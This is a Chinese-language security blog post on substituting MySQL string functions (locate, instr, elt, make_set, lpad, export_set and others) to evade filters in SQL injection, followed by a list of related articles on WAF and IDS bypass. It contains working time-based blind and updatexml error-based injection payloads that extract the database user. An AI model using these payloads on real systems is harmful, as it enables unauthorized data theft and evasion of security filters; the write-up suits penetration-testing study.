由MySQL字符串函數考慮到的繞過利用

2021-03-02 WgpSec狼組安全團隊
來自WgpSec Team 成員 f1hgb投稿背景

本次文章是在對一次時間盲注時if等函數被ban的時候,通過查找以先函數來進行代替利用

先對用到的函數簡單介紹

ascii():返回字符串str的最左面字符的ASCII代碼值。如果str是空字符串,返回0。如果str是NULL,返回NULL。

ord():返回字符的ascii碼

conv(N,from_base,to_base):N是要轉換的數據,from_base是原進位,to_base是目標進位。

mysql> select CONV("a",16,2);

-> '1010'

bin():返回數字的二進位表示形式,作為字符串值(注意:必須是數字)

oct():函數返回數字N的八進位數的字符串表示,這相當於使用CONV(N,10,8)。(還是只能是數字)

hex():返回十六進位值N一個字符串的表示,這等價於CONV(N,10,16)。

char():將參數解釋為整數並且返回由這些整數的ASCII代碼字符組成的一個字符串。

mysql> select CHAR(77,121,83,81,'76');
-> 'MySQL'

mysql> select CHAR(77,77.3,'77.3');
-> 'MMM'

concat()/concat_ws()/group_concat():返回來自於參數連結的字符串

length/octet_length/char_length/character_length:長度返回

locate/position/instr:都是判斷位置的,instr可以和limit連用來達到前面兩個的效果

mysql> select locate('f1','f1fhgb');
-> 1

mysql> select locate('f0','f1fhgb');
-> 0

mysql> select locate('fh','f1fhgb');
-> 3

mysql> select position('bc'in'abc');
-> 2

mysql> select instr('aabca','abc');
-> 2

mysql> select instr('abca','abc');
-> 1

lpad/rpad():一個在最開始填充,一個在末尾填充:

mysql> select lpad('hi',9,'ab');
-> abababahi

left/right():返回字符串str的最左/右面len個字符。

mysql> select left('abcdef',5);
-> abcde

mysql> select right('abcdef',5);
-> bcdef

substring\substring_index

mysql> select substring('12345' from 2 for 1);
-> 2

mysql> select substring('12345',2,1);
-> 2

mysql> select substring_index('tll','t',1);
->

mysql> select substring_index('tll','l',1);
-> t

elt(N,str1,str2,str3,...):如果N= 1,返回str1。如果N=2,返回str2,等等。如果N小於1或大於參數個數,返回NULL。ELT()是FIELD()反運算。

find_in_set(str,strlist):如果字符串str在由N子串組成的表strlist之中,返回一個1到N的值。一個字符串表是被","分隔的子串組成的一個字符串。

make_set(bits,str1,str2,...):返回一個集合(包含由","字符分隔的子串組成的一個字符串),由相應的位在bits集合中的的字符串組成。str1對應於位0,str2對應位1,等等。

對代替函數利用的考慮

ascii和ord互用

char()可以在寬字節注入的時候禁了0的時候用這個

locate和position和instr可以用來盲注,大概構造select * from tll where id=11 union select 1,2,3,locate('a',(select database()));或者時間盲注感覺有點可能或者不用if直接時間盲注:大致語法select * from tll where id=1 and (locate('tll',(select database()))=1) and sleep(5);到時候往裡面加substr這些截斷就可以真正的時間盲注

left和right可以用來在過濾substr這些的時候用

substr和substring和substring_index都可以用來截斷,這裡提一下substring_index搭配用法if(substring_index((select database()),'t',1)='',sleep(5),1)只要慢慢的累加就行 

我們都知道要是用updatexml的時候必須至少含有一個特殊字符,否則會漏掉一些數據而當concat被攔截的時候,就會導致沒法拼接特殊字符,所以這裡可以利用make_set和lpad和repeat和reverse和export_set和insert這些函數的用法就不一一列舉,有興趣的可以去看看

mysql> select * from tll where id=11 or updatexml(1,insert(0x7e,2,1,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'

mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'

mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'

我們都知道如果在想要時間盲注的時候,要是if過濾了就差不多涼涼了,但是這裡我們可以使用elt來代替if進行繞過 或者使用make_set來代替if進行時間盲注:

find_in_set在完全過濾了等於號時來進行時間盲注:

相關焦點

  • MySQL函數基礎——字符串函數詳解
    >REPEAT(s,n)返回一個由重複的字符串s組成的字符串,字符串s的數目等於n。若n<=0,則返回一個空字符串。若s或n為NULL,則返回NULL。使用REPEAT函數重複生成相同的字符串,輸入語句如下:REPEAT(MySQL', 3)函數返回的字符串由3個重複的「MySQL"字符串組成。
  • 使用PHP查詢字符串繞過waf
    聲明由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。
  • 如何濫用PHP字符串解析函數繞過IDS、IPS及WAF
    PHP字符串解析函數繞過IDS/IPS以及應用防火牆規則。大家都知道,PHP會將(在URL或body中的)查詢字符串轉換成$_GET或者$_POST中的關聯數組。比如:/?foo=bar會被轉換成Array([foo] => 「bar」)。查詢字符串解析過程會刪除或者使用下劃線替換參數名中的某些字符。比如,/?%20news[id%00=42會被轉換成Array([news_id] => 42)。
  • MySQL字符串截取 和 截取字符進行查詢
    通過mysql自帶的一些字符串截取函數,對數據進行處理,下面是我整理的字符串截取 和 截取字符進行查詢。一、MySQL中字符串的截取MySQL中有專門的字符串截取函數:其中常用的有兩種:substring_index(str,delim,count) 和concat 1.substring_index(str,delim,count) 函數的使用較為普遍
  • MySQL注入繞過新思路
    字符串處理先看看mysql對於字符串的處理,可以看到一個字符串是等於0的。進一步驗證,將字符串和數字加起來。數字 -> 字符串所以,我們可以使用mysql的substr()函數進行切割,例如:思考1、盲注使用DNS解析進行高效測試2、使用MySQL數字與字符串編碼關係繞過相關防護
  • MYSQL 常用函數
    字符串函數函數功能
  • MySQL常用函數介紹
    | 0.24996517063115273 | 0.9559759106077029 | 0.029984071878701515 |+-++--+3.字符串函數字符串函數可以對字符串類型數據進行處理,在程序應用中用處還是比較大的,同樣這裡列舉幾個常用的如下:LENGTH(s)   計算字符串長度函數,返回字符串的字節長度
  • 利用PHP的字符串解析特性Bypass
    值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替。例如,/?%20news[id%00=42會轉換為Array([newsid] => 42)。如果一個IDS/IPS或WAF中有一條規則是當newsid參數的值是一個非數字的值則攔截,那麼我們就可以用以下語句繞過:/news.php?
  • MySQL 函數相關
    三、字符串函數    CHAR_LENGTH(str)        返回值為字符串str 的長度,長度的單位為字符。newstr:新字符串        特別的:            如果pos超過原字符串長度,則返回原字符串            如果len超過原字符串長度,則由新字符串完全替換    INSTR(str,substr)        返回字符串 str 中子字符串的第一個出現位置。
  • PHP 繞過禁用函數漏洞的原理與利用分析
    PHP 發布公告,舊版本的 php_array_merge_recursive 函數中存在UAF風險,被利用可能導致用來繞過禁用函數。受影響的版本PHP 7.2 - 7.4.9安全專家建議用戶儘快升級到安全版本,以解決風險。
  • MySQL函數大全及用法示例(一)
    1、字符串函數ascii(str)   返回字符串str的第一個字符的
  • MySQL常用的函數
    微信公眾號:PHP在線在使用MySQL的時候,靈活運用函數可以提高開發效率,方便解決一些棘手的問題。本文講解的MySQL常用函數包括常用的字符串函數、數值函數、日期和時間函數、聚合函數等。1.MySQL字符串類CHARSET(str) //返回字符串字符集CONCAT (string2 [,… ]) //連接字符串INSTR (string ,substring ) //返回substring首次在字符串中出現的位置,不存在返回0LCASE (string ) //字符串轉換成小寫LEFT (string ,length ) //從字符串中的左邊起取
  • 對比python字符串函數,學習pandas的str矢量化字符串函數
    我們不僅要學會怎麼處理單個字符串,這個就需要學習「python字符串函數」,我們還要學會怎麼處理二維表格中每一列每一格的字符串,這個就需要學習「pandas的str矢量化字符串函數」。今天我們採用對比的方式,帶大家總結常用的字符串函數,希望這篇文章能夠對大家起到很好的作用。
  • 對比python字符串函數,輕鬆學習pandas的 str 矢量化字符串函數
    我們不僅要學會怎麼處理單個字符串,這個就需要學習「python字符串函數」,我們還要學會怎麼處理二維表格中每一列每一格的字符串,這個就需要學習「pandas的str矢量化字符串函數」。今天我們採用對比的方式,帶大家總結常用的字符串函數,希望這篇文章能夠對大家起到很好的作用。
  • 在字符串中搜索標記--labview字符串函數之一
    一直未能找到合適的字符串函數來解析出來有效數據,而昨天恰恰看到了這樣一個字符串函數——在字符串中搜索標記。運算符是字符串數組,如輸入字符串包含字符串數組,即使它們沒有被分隔符分隔,函數仍將其視為標記。如輸入字符串的一部分匹配多個運算符,函數將把最長的匹配作為標記。例如,如>、=和>=被定義為運算符,輸入字符串4>=0將生成>=作為下一個標記字符串,偏移量為1。運算符中的字符串可能包含下列特殊格式代碼,用於將整個數字作為單個標記進行掃描。
  • 關於mysql中運算符與函數的概述
    運算符是告訴mysql執行特定的算術或邏輯操作的符號,運算符連接著各個表達式中的操作數,其作用是用來指明對操作數進行的運算。mysql字符函數:1.字符串連接函數:2.字符中轉換大小寫函數:3.求字符串長度的函數:4.刪除空格函數:5.截取字符串:6.獲取指定長度的字符串函數:
  • Mysql 手工注入【常規union查詢篇】
    下面是注入mysql時經常會用到的一些單行函數,熟練使用是靈活注入的前提,尤其是在對抗一些waf的時候字符串連接函數,將多個字符串連接成一個字符串,注意,中間只要字符串有一個為空,最後結果也為空 concat(str1,str2,str3.
  • mysql常用函數大全
    字符串函數1.字符串連接CONCATSELECT CONCAT('my','sql')2.字符串替換函數insertSELECTINSERT('hi,mysql',4,5,'sql server')3.字符串轉小寫lowerSELECT LOWER('MySql')4.字符串轉大寫upperSELECT UPPER('layui')
  • php字符串函數
    bin2hex — 將二進位數據轉換成十六進位表示chop — rtrim() 的別名函數chr — 返回一個字符的ASCII碼chunk_split — 按一定的字符長度將字符串分割成小塊convert_cyr_string — 將斯拉夫語字符轉換為別的字符convert_uudecode — 解密一個字符串
  • Mysql注入導圖-學習篇
    6種報錯語法與原理隨後是報錯函數的原理、語法介紹,知曉原理才能靈活地利用,上面貼了6中我所遇到過的會導致報錯的函數,多一種方法,就可能在CTF比賽中多一種預期之外的解法。盲注中無需函數的字符串比較隨後的SQLi中的'abc'>'abd' 為TRUE部分需要注意一下,就是當字符串截取函數被禁用時(打CTF時常見),可以將字符串直接對比,但字母之間的對比是根據字母表順序而不是ascii碼,這樣就會導致盲註腳本最後輸出的數據沒有區分大小寫。